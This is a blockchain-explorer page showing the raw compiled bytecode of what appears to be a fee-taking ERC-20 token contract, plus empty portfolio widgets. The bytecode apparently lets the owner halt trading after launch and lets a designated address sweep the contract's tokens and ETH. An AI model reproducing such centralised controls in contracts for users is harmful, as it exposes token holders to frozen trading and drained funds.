0x6080604052600436106101855760003560e01c806365b61b77116100d157806395d89b411161008a578063a9059cbb11610064578063a9059cbb14610480578063d242fbcc146104a0578063dd62ed3e146104c0578063f2fde38b1461050657600080fd5b806395d89b411461042b578063a266e55e14610440578063a67755c21461046057600080fd5b806365b61b771461036d5780636c5808011461038d57806370a08231146103a2578063715018a6146103d85780637cc5b1e6146103ed5780638da5cb5b1461040d57600080fd5b8063313ce5671161013e5780633f80b6d7116101185780633f80b6d7146102da5780634bf28fd0146102fa578063553193ca146103375780636402511e1461034d57600080fd5b8063313ce5671461025857806336b2e0271461027a5780633ecad271146102aa57600080fd5b806306fdde0314610191578063095ea7b3146101bc5780630c062020146101ec57806318160ddd1461020357806323b872dd1461022257806327b1a8e91461024257600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610526565b6040516101b391906111dd565b60405180910390f35b3480156101c857600080fd5b506101dc6101d7366004611243565b6105b8565b60405190151581526020016101b3565b3480156101f857600080fd5b506102016105cf565b005b34801561020f57600080fd5b506009545b6040519081526020016101b3565b34801561022e57600080fd5b506101dc61023d36600461126f565b610609565b34801561024e57600080fd5b50610214600d5481565b34801561026457600080fd5b5060075460405160ff90911681526020016101b3565b34801561028657600080fd5b506101dc6102953660046112b0565b60086020526000908152604090205460ff1681565b3480156102b657600080fd5b506101dc6102c53660046112b0565b600b6020526000908152604090205460ff1681565b3480156102e657600080fd5b506102016102f53660046112d4565b6106a0565b34801561030657600080fd5b50600c5461031f9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b34801561034357600080fd5b5061021460165481565b34801561035957600080fd5b5061020161036836600461130f565b6106e1565b34801561037957600080fd5b50600a5461031f906001600160a01b031681565b34801561039957600080fd5b50610201610710565b3480156103ae57600080fd5b506102146103bd3660046112b0565b6001600160a01b031660009081526001602052604090205490565b3480156103e457600080fd5b50610201610780565b3480156103f957600080fd5b5060035461031f906001600160a01b031681565b34801561041957600080fd5b506000546001600160a01b031661031f565b34801561043757600080fd5b506101a66107f4565b34801561044c57600080fd5b5061020161045b366004611336565b610803565b34801561046c57600080fd5b5061020161047b3660046112b0565b610858565b34801561048c57600080fd5b506101dc61049b366004611243565b610993565b3480156104ac57600080fd5b506102016104bb36600461136f565b6109a0565b3480156104cc57600080fd5b506102146104db36600461136f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561051257600080fd5b506102016105213660046112b0565b6109f8565b6060600580546105359061139d565b80601f01602080910402602001604051908101604052809291908181526020018280546105619061139d565b80156105ae5780601f10610583576101008083540402835291602001916105ae565b820191906000526020600020905b81548152906001019060200180831161059157829003601f168201915b5050505050905090565b60006105c5338484610abe565b5060015b92915050565b6000546001600160a01b031633146106025760405162461bcd60e51b81526004016105f9906113d7565b60405180910390fd5b6000601655565b6000610616848484610b1f565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610696576001600160a01b0384166000908152600260209081526040808320338452909152902054610671908390611418565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146106ca5760405162461bcd60e51b81526004016105f9906113d7565b601094909455601192909255601255601355601455565b6000546001600160a01b0316331461070b5760405162461bcd60e51b81526004016105f9906113d7565b601555565b6000546001600160a01b0316331461073a5760405162461bcd60e51b81526004016105f9906113d7565b6016541561077a5760405162461bcd60e51b815260206004820152600d60248201526c185b1c9958591e481cdd185c9d609a1b60448201526064016105f9565b43601655565b6000546001600160a01b031633146107aa5760405162461bcd60e51b81526004016105f9906113d7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600680546105359061139d565b6000546001600160a01b0316331461082d5760405162461bcd60e51b81526004016105f9906113d7565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6003546001600160a01b0316331461086f57600080fd5b6003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa1580156108c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e6919061142b565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610931573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109559190611444565b506003546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561098f573d6000803e3d6000fd5b5050565b60006105c5338484610b1f565b6000546001600160a01b031633146109ca5760405162461bcd60e51b81526004016105f9906113d7565b600380546001600160a01b039384166001600160a01b03199182161790915560048054929093169116179055565b6000546001600160a01b03163314610a225760405162461bcd60e51b81526004016105f9906113d7565b6001600160a01b038116610a635760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016105f9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610b7b5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b60448201526064016105f9565b600c5460ff1615610b9857610b91848484610d4c565b5050505050565b6001600160a01b0383166000908152600b602052604081205460ff168015610bc35750600c5460ff16155b8015610be857506001600160a01b03851660009081526008602052604090205460ff16155b8015610c0d57506001600160a01b03841660009081526008602052604090205460ff16155b8015610c1c5750601454600d54115b15610c6157306000908152600160205260409020548390811115610c4c5750306000908152600160205260409020545b601554811115610c5f57610c5f81610e01565b505b6001600160a01b03851660009081526008602052604090205460ff16158015610ca357506001600160a01b03841660009081526008602052604090205460ff16155b8015610cb25750600c5460ff16155b15610d4057600060165411610cc657600080fd5b506001600160a01b0384166000908152600b602052604090205460019060ff168015610d005750600a546001600160a01b03858116911614155b8015610d2557506001600160a01b03841660009081526008602052604090205460ff16155b15610d4057600d8054906000610d3a83611461565b91905055505b610b9185858584610fe9565b6001600160a01b038316600090815260016020526040812080548391908390610d76908490611418565b90915550506001600160a01b03831660009081526001602052604081208054849290610da390849061147a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610def91815260200190565b60405180910390a35060019392505050565b600c805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e4357610e4361148d565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec091906114a3565b81600181518110610ed357610ed361148d565b6001600160a01b039283166020918202929092010152600a5460405163791ac94760e01b815291169063791ac94790610f199085906000908690309042906004016114c0565b600060405180830381600087803b158015610f3357600080fd5b505af1158015610f47573d6000803e3d6000fd5b504792505050662386f26fc10000811115610fda576003546001600160a01b03166108fc610f76600a84611531565b6040518115909202916000818181858888f19350505050158015610f9e573d6000803e3d6000fd5b506004546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610fd8573d6000803e3d6000fd5b505b5050600c805460ff1916905550565b6001600160a01b03841660009081526001602052604090205461100d908390611418565b6001600160a01b038516600090815260016020526040812091909155811561114e576001600160a01b0384166000908152600b602052604081205460ff161561106e57601354600d541161106357600f54611067565b6011545b90506110a9565b6001600160a01b0386166000908152600b602052604090205460ff16156110a957601254600d54116110a257600e546110a6565b6010545b90505b600060646110b78387611553565b6110c19190611531565b9050801561114b576110d3818461147a565b306000908152600160205260409020549093506110f190829061147a565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111429085815260200190565b60405180910390a35b50505b6111588184611418565b6001600160a01b03851660009081526001602052604090205461117b919061147a565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111c58487611418565b60405190815260200160405180910390a35050505050565b600060208083528351808285015260005b8181101561120a578581018301518582016040015282016111ee565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461124057600080fd5b50565b6000806040838503121561125657600080fd5b82356112618161122b565b946020939093013593505050565b60008060006060848603121561128457600080fd5b833561128f8161122b565b9250602084013561129f8161122b565b929592945050506040919091013590565b6000602082840312156112c257600080fd5b81356112cd8161122b565b9392505050565b600080600080600060a086880312156112ec57600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b60006020828403121561132157600080fd5b5035919050565b801515811461124057600080fd5b6000806040838503121561134957600080fd5b82356113548161122b565b9150602083013561136481611328565b809150509250929050565b6000806040838503121561138257600080fd5b823561138d8161122b565b915060208301356113648161122b565b600181811c908216806113b157607f821691505b6020821081036113d157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156105c9576105c9611402565b60006020828403121561143d57600080fd5b5051919050565b60006020828403121561145657600080fd5b81516112cd81611328565b60006001820161147357611473611402565b5060010190565b808201808211156105c9576105c9611402565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156114b557600080fd5b81516112cd8161122b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115105784516001600160a01b0316835293830193918301916001016114eb565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261154e57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176105c9576105c961140256fea26469706673582212208bd8695d454bfb06feed464b5014205f8b95461af4e6d37837a8833826dd872764736f6c63430008140033
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 34 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.